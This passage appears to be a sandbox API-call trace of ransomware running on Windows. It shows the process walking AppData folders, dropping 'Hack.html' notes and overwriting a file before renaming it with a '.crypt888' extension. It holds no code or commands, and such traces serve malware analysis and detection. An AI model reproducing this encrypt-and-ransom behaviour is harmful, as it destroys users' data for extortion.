FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0091.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0091.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0091.088] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4a [0091.088] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\", lpFilePart=0x0) returned 0x4b [0091.088] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a868 [0091.089] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.089] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0091.089] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0091.089] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0091.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0091.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.089] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x53 [0091.089] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", lpFilePart=0x0) returned 0x54 [0091.089] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a868 [0091.094] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.094] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.094] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.094] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.094] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.094] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.095] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.096] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0091.096] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0091.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0091.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.097] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x53 [0091.097] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\", lpFilePart=0x0) returned 0x54 [0091.097] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a868 [0091.098] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.098] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.098] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.099] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.100] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.100] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.100] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0091.100] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0091.100] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0091.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0091.101] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Hack.html", lpFilePart=0x0) returned 0x5d [0091.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0091.101] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.102] GetFileType (hFile=0x174) returned 0x1 [0091.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0091.102] GetFileType (hFile=0x174) returned 0x1 [0091.103] WriteFile (in: hFile=0x174, lpBuffer=0x272919c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x272919c*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0091.104] CloseHandle (hObject=0x174) returned 1 [0091.104] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Hack.html", lpFilePart=0x0) returned 0x54 [0091.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0091.104] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.104] GetFileType (hFile=0x174) returned 0x1 [0091.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0091.104] GetFileType (hFile=0x174) returned 0x1 [0091.104] WriteFile (in: hFile=0x174, lpBuffer=0x272b9f4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x272b9f4*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0091.105] CloseHandle (hObject=0x174) returned 1 [0091.105] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Hack.html", lpFilePart=0x0) returned 0x4e [0091.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0091.105] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.106] GetFileType (hFile=0x174) returned 0x1 [0091.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0091.106] GetFileType (hFile=0x174) returned 0x1 [0091.106] WriteFile (in: hFile=0x174, lpBuffer=0x272e234*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x272e234*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.107] CloseHandle (hObject=0x174) returned 1 [0091.107] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x3f [0091.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0091.107] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.107] GetFileType (hFile=0x174) returned 0x1 [0091.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0091.107] GetFileType (hFile=0x174) returned 0x1 [0091.107] WriteFile (in: hFile=0x174, lpBuffer=0x2730a34*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2730a34*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.108] CloseHandle (hObject=0x174) returned 1 [0091.108] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x32 [0091.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0091.108] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.109] GetFileType (hFile=0x174) returned 0x1 [0091.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0091.109] GetFileType (hFile=0x174) returned 0x1 [0091.109] WriteFile (in: hFile=0x174, lpBuffer=0x2733204*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2733204*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0091.110] CloseHandle (hObject=0x174) returned 1 [0091.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0091.110] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0091.110] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x24 [0091.110] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a868 [0091.110] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.110] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.110] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.111] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0091.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0091.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0091.111] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0091.111] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x24 [0091.111] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a868 [0091.111] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.111] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.111] FindNextFileW (in: hFindFile=0x59a868, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.111] FindClose (in: hFindFile=0x59a868 | out: hFindFile=0x59a868) returned 1 [0091.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0091.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0091.112] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3a [0091.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0091.112] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.112] GetFileType (hFile=0x174) returned 0x1 [0091.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0091.112] GetFileType (hFile=0x174) returned 0x1 [0091.112] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x0 [0091.112] CloseHandle (hObject=0x174) returned 1 [0091.150] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3a [0091.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0091.150] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.150] GetFileType (hFile=0x174) returned 0x1 [0091.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0091.150] GetFileType (hFile=0x174) returned 0x1 [0091.150] WriteFile (in: hFile=0x174, lpBuffer=0x27829c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27829c0*, lpNumberOfBytesWritten=0x39ecb4*=0x10, lpOverlapped=0x0) returned 1 [0091.151] CloseHandle (hObject=0x174) returned 1 [0091.151] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3a [0091.151] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypt888", lpFilePart=0x0) returned 0x43 [0091.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0091.151] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7886ce0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0091.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0091.151] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypt888" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.crypt888")) returned 1 [0091.152] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\Hack.html", lpFilePart=0x0) returned 0x2d [0091.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0091.152] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\temp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.152] GetFileType (hFile=0x174) returned 0x1 [0091.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0091.152] GetFileType (hFile=0x174) returned 0x1 [0091.152] WriteFile (in: hFile=0x174, lpBuffer=0x2785324*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2785324*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0091.153] CloseHandle (hObject=0x174) returned 1 [0091.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0091.153] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0091.153] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\", lpFilePart=0x0) returned 0x38 [0091.153] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0xffffffff [0091.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed20) returned 1 [0091.155] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\Hack.html", lpFilePart=0x0) returned 0x41 [0091.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0091.155] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.168] GetFileType (hFile=0x174) returned 0x1 [0091.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0091.168] GetFileType (hFile=0x174) returned 0x1 [0091.168] WriteFile (in: hFile=0x174, lpBuffer=0x27887f4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27887f4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0091.169] CloseHandle (hObject=0x174) returned 1 [0091.169] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Hack.html", lpFilePart=0x0) returned 0x28 [0091.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0091.169] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.170] GetFileType (hFile=0x174) returned 0x1 [0091.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0091.170] GetFileType (hFile=0x174) returned 0x1 [0091.170] WriteFile (in: hFile=0x174, lpBuffer=0x278af9c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x278af9c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0091.171] CloseHandle (hObject=0x174) returned 1 [0091.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.171] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow", lpFilePart=0x0) returned 0x21 [0091.171] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\", lpFilePart=0x0) returned 0x22 [0091.171] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a628 [0091.172] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.173] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.173] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.173] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0091.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0091.173] SetThreadErrorMode 